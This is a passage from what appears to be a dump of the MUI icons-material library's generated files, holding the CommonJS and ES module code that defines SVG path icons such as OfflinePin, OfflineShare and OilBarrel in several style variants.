    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m5 16H7v-2h10zm-6.7-4L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\"\n}), 'OfflinePin');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5-5h10v2H7zm3.3-3.8L8.4 9.3 7 10.7l3.3 3.3L17 7.3l-1.4-1.4z\"\n}), 'OfflinePinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5-5h10v2H7zm3.3-3.8L8.4 9.3 7 10.7l3.3 3.3L17 7.3l-1.4-1.4z\"\n}), 'OfflinePinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4 16H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-6.41-4.71L7.7 11.4a.984.984 0 0 1 0-1.4c.39-.39 1.01-.39 1.4 0l1.2 1.2 4.6-4.6c.39-.39 1.01-.39 1.4 0s.39 1.01 0 1.4l-5.29 5.29c-.39.39-1.03.39-1.42 0\"\n}), 'OfflinePinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4 16H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-6.41-4.71L7.7 11.4a.984.984 0 0 1 0-1.4c.39-.39 1.01-.39 1.4 0l1.2 1.2 4.6-4.6c.39-.39 1.01-.39 1.4 0s.39 1.01 0 1.4l-5.29 5.29c-.39.39-1.03.39-1.42 0\"\n}), 'OfflinePinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m5 16H7v-2h10zm-6.7-4L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\"\n}), 'OfflinePinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m5 16H7v-2h10zm-6.7-4L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\"\n}), 'OfflinePinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 13H7v-2h10zm-6.7-3L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5-5h10v2H7zm3.3-3.8L8.4 9.3 7 10.7l3.3 3.3L17 7.3l-1.4-1.4z\"\n}, \"1\")], 'OfflinePinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 13H7v-2h10zm-6.7-3L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5-5h10v2H7zm3.3-3.8L8.4 9.3 7 10.7l3.3 3.3L17 7.3l-1.4-1.4z\"\n}, \"1\")], 'OfflinePinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.6 10.26v1.31L17 9.33 14.6 7.1v1.28c-2.33.32-3.26 1.92-3.6 3.52.83-1.13 1.93-1.64 3.6-1.64M16 23H6c-1.1 0-2-.9-2-2V5h2v16h10zm2-22h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 15h-8V4h8z\"\n}), 'OfflineShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.6 10.26v1.31L17 9.33 14.6 7.1v1.28c-2.33.32-3.26 1.92-3.6 3.52.83-1.13 1.93-1.64 3.6-1.64M16 23H6c-1.1 0-2-.9-2-2V5h2v16h10zm2-22h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 15h-8V4h8z\"\n}), 'OfflineShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5H4v16c0 1.1.9 2 2 2h10v-2H6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16h-8v-1h8zm0-3h-8V6h8zm0-10h-8V3h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10.25h1.63l-.69.69L14.5 12 17 9.5 14.5 7l-1.06 1.06.69.69H12c-.55 0-1 .45-1 1V12h1.5z\"\n}, \"2\")], 'OfflineShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5H4v16c0 1.1.9 2 2 2h10v-2H6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16h-8v-1h8zm0-3h-8V6h8zm0-10h-8V3h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10.25h1.63l-.69.69L14.5 12 17 9.5 14.5 7l-1.06 1.06.69.69H12c-.55 0-1 .45-1 1V12h1.5z\"\n}, \"2\")], 'OfflineShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h9c.55 0 1-.45 1-1s-.45-1-1-1H6V6c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14h-8V5h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10.25h2v.54c0 .45.54.67.85.35l1.29-1.29c.2-.2.2-.51 0-.71l-1.29-1.29c-.31-.31-.85-.09-.85.35v.54H12c-.55 0-1 .45-1 1v1.5c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}, \"2\")], 'OfflineShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h9c.55 0 1-.45 1-1s-.45-1-1-1H6V6c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14h-8V5h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10.25h2v.54c0 .45.54.67.85.35l1.29-1.29c.2-.2.2-.51 0-.71l-1.29-1.29c-.31-.31-.85-.09-.85.35v.54H12c-.55 0-1 .45-1 1v1.5c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}, \"2\")], 'OfflineShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5H4v18h12v-2H6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1H8v18h12zm-2 14h-8V5h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10.25h2V12L17 9.5 14.5 7v1.75H11V12h1.5z\"\n}, \"2\")], 'OfflineShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5H4v18h12v-2H6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1H8v18h12zm-2 14h-8V5h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10.25h2V12L17 9.5 14.5 7v1.75H11V12h1.5z\"\n}, \"2\")], 'OfflineShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5H4v16c0 1.1.9 2 2 2h10v-2H6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16h-8v-1h8zm0-3h-8V6h8zm0-10h-8V3h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10.25h2V12L17 9.5 14.5 7v1.75H12c-.55 0-1 .45-1 1V12h1.5z\"\n}, \"2\")], 'OfflineShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5H4v16c0 1.1.9 2 2 2h10v-2H6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1h-8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16h-8v-1h8zm0-3h-8V6h8zm0-10h-8V3h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10.25h2V12L17 9.5 14.5 7v1.75H12c-.55 0-1 .45-1 1V12h1.5z\"\n}, \"2\")], 'OfflineShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-8 3c-1.66 0-3-1.32-3-2.95 0-1.3.52-1.67 3-4.55 2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95\"\n}), 'OilBarrel');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-8 3c-1.66 0-3-1.32-3-2.95 0-1.3.52-1.67 3-4.55 2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95\"\n}), 'OilBarrel');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13.05C9 14.68 10.34 16 12 16s3-1.32 3-2.95c0-1.31-.53-1.69-3-4.55-2.48 2.88-3 3.25-3 4.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-3 6H7v-6c.55 0 1-.45 1-1s-.45-1-1-1V5h10v6c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}, \"1\")], 'OilBarrelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13.05C9 14.68 10.34 16 12 16s3-1.32 3-2.95c0-1.31-.53-1.69-3-4.55-2.48 2.88-3 3.25-3 4.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-3 6H7v-6c.55 0 1-.45 1-1s-.45-1-1-1V5h10v6c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}, \"1\")], 'OilBarrelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-8 3c-1.66 0-3-1.32-3-2.95 0-1.16.41-1.58 2.24-3.68.4-.46 1.12-.46 1.51 0 1.82 2.09 2.24 2.52 2.24 3.68C15 14.68 13.66 16 12 16\"\n}), 'OilBarrelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-8 3c-1.66 0-3-1.32-3-2.95 0-1.16.41-1.58 2.24-3.68.4-.46 1.12-.46 1.51 0 1.82 2.09 2.24 2.52 2.24 3.68C15 14.68 13.66 16 12 16\"\n}), 'OilBarrelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13v-2h-2V5h2V3H3v2h2v6H3v2h2v6H3v2h18v-2h-2v-6zm-9 3c-1.66 0-3-1.32-3-2.95 0-1.3.52-1.67 3-4.55 2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95\"\n}), 'OilBarrelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13v-2h-2V5h2V3H3v2h2v6H3v2h2v6H3v2h18v-2h-2v-6zm-9 3c-1.66 0-3-1.32-3-2.95 0-1.3.52-1.67 3-4.55 2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95\"\n}), 'OilBarrelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11c.55 0 1 .45 1 1s-.45 1-1 1v6h10v-6c-.55 0-1-.45-1-1s.45-1 1-1V5H7zm5-2.5c2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95s-3-1.32-3-2.95c0-1.3.52-1.67 3-4.55\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c1.66 0 3-1.32 3-2.95 0-1.31-.53-1.69-3-4.55-2.48 2.88-3 3.25-3 4.55C9 14.68 10.34 16 12 16\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-3-2c-.55 0-1 .45-1 1s.45 1 1 1v6H7v-6c.55 0 1-.45 1-1s-.45-1-1-1V5h10z\"\n}, \"2\")], 'OilBarrelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OilBarrelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11c.55 0 1 .45 1 1s-.45 1-1 1v6h10v-6c-.55 0-1-.45-1-1s.45-1 1-1V5H7zm5-2.5c2.47 2.86 3 3.24 3 4.55 0 1.63-1.34 2.95-3 2.95s-3-1.32-3-2.95c0-1.3.52-1.67 3-4.55\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c1.66 0 3-1.32 3-2.95 0-1.31-.53-1.69-3-4.55-2.48 2.88-3 3.25-3 4.55C9 14.68 10.34 16 12 16\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13c.55 0 1-.45 1-1s-.45-1-1-1h-1V5h1c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h1v6H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1h-1v-6zm-3-2c-.55 0-1 .45-1 1s.45 1 1 1v6H7v-6c.55 0 1-.45 1-1s-.45-1-1-1V5h10z\"\n}, \"2\")], 'OilBarrelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTraining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 18H6V6h12z\"\n}, \"1\"), 